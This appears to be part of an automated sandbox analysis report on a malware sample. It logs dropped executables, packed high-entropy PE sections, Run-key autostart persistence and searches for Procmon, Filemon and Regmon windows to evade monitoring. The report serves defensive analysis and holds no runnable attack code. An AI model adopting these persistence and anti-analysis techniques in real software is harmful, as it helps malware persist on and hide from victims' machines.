Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3003904 > 1048576

Source: file.exe

Static PE information: Raw size of pfboyhbl is bigger than: 0x100000 < 0x2b1a00

Source:	Binary string: my_library.pdbU source: 1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmp, QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000003.1866208811.0000000005110000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Unpacked PE file: 2.2.QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Unpacked PE file: 3.2.EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.460000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.470000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.470000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bleglpjp:EW;ozncbdew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Unpacked PE file: 10.2.1171a5b648.exe.f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Unpacked PE file: 31.2.1171a5b648.exe.f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2e22aa should be: 0x2ddb21
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: real checksum: 0x1cae90 should be: 0x1d74b7
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: real checksum: 0x1cae90 should be: 0x1d74b7
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x209bb8 should be: 0x20b8de
Source: 6cadd3f0fd.exe.8.dr	Static PE information: real checksum: 0x2e22aa should be: 0x2ddb21
Source: file.exe	Static PE information: real checksum: 0x2e22aa should be: 0x2ddb21
Source: 1171a5b648.exe.8.dr	Static PE information: real checksum: 0x209bb8 should be: 0x20b8de
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1cae90 should be: 0x1d74b7
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: pfboyhbl
Source: file.exe	Static PE information: section name: mirdfaun
Source: file.exe	Static PE information: section name: .taggant
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name:
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: .idata
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: ucxgvins
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: nulvttal
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: .taggant
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name:
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: .idata
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name:
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: bleglpjp
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: ozncbdew
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: bleglpjp
Source: skotes.exe.3.dr	Static PE information: section name: ozncbdew
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: pfboyhbl
Source: random[1].exe.8.dr	Static PE information: section name: mirdfaun
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name:
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: .idata
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: pfboyhbl
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: mirdfaun
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: usisoqoi
Source: random[1].exe0.8.dr	Static PE information: section name: igxiqctn
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 1171a5b648.exe.8.dr	Static PE information: section name:
Source: 1171a5b648.exe.8.dr	Static PE information: section name: .rsrc
Source: 1171a5b648.exe.8.dr	Static PE information: section name: .idata
Source: 1171a5b648.exe.8.dr	Static PE information: section name:
Source: 1171a5b648.exe.8.dr	Static PE information: section name: usisoqoi
Source: 1171a5b648.exe.8.dr	Static PE information: section name: igxiqctn
Source: 1171a5b648.exe.8.dr	Static PE information: section name: .taggant
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name:
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: .idata
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: ucxgvins
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: nulvttal
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: .taggant
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name:
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: .idata
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: ucxgvins
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: nulvttal
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: .taggant
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name:
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: .idata
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name:
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: bleglpjp
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: ozncbdew
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011C8329 push ebx; ret	0_3_011C8330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011CCF49 push ebx; ret	0_3_011CCF50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011C8BB8 push ebp; retf	0_3_011C8BC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011C8BB8 push ebp; retf	0_3_011C8BC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011CD7D8 push ebp; retf	0_3_011CD7E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011CEDFB pushad ; ret	0_3_011CEF11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011C8BB8 push ebp; retf	0_3_011C8BC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011CD7D8 push ebp; retf	0_3_011CD7E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011CEDFB pushad ; ret	0_3_011CEF11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A199D0 push ebp; retf	0_3_05A199D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A199D0 push ebp; retf	0_3_05A199D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A2109B push ebp; ret	0_3_05A210A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A2109B push ebp; ret	0_3_05A210A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A2109B push ebp; ret	0_3_05A210A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1E09D pushad ; ret	0_3_05A1E0A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1E09D pushad ; ret	0_3_05A1E0A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1D028 pushfd ; iretd	0_3_05A1D052
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1D028 pushfd ; iretd	0_3_05A1D052
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1C86F pushad ; retf	0_3_05A1C873
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1C86F pushad ; retf	0_3_05A1C873
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1DC44 push esi; ret	0_3_05A1DC45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1DC44 push esi; ret	0_3_05A1DC45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1AFF3 pushad ; ret	0_3_05A1B109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1AFF3 pushad ; ret	0_3_05A1B109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1C7D7 push ebp; retf	0_3_05A1C7EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1C7D7 push ebp; retf	0_3_05A1C7EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1CEAD push FFFFFF82h; ret	0_3_05A1CEC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A1CEAD push FFFFFF82h; ret	0_3_05A1CEC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A21263 push cs; ret	0_3_05A21271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A21263 push cs; ret	0_3_05A21271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05A21263 push cs; ret	0_3_05A21271

Source: file.exe	Static PE information: section name: entropy: 7.974910173943292
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: entropy: 7.791645043288012
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: entropy: 7.979529969981847
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: bleglpjp entropy: 7.953143642742956
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.979529969981847
Source: skotes.exe.3.dr	Static PE information: section name: bleglpjp entropy: 7.953143642742956
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.974910173943292
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: entropy: 7.974910173943292
Source: random[1].exe0.8.dr	Static PE information: section name: usisoqoi entropy: 7.953872207980885
Source: 1171a5b648.exe.8.dr	Static PE information: section name: usisoqoi entropy: 7.953872207980885
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: entropy: 7.791645043288012
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: entropy: 7.791645043288012
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: entropy: 7.979529969981847
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: bleglpjp entropy: 7.953143642742956

Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File created: C:\Users\user\AppData\Local\Temp\5TAVJ2XDPW30B3ZI4A9E75FX93.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File created: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File created: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1171a5b648.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275df0ca27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cadd3f0fd.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: PROCMON_WINDOW_CLASS
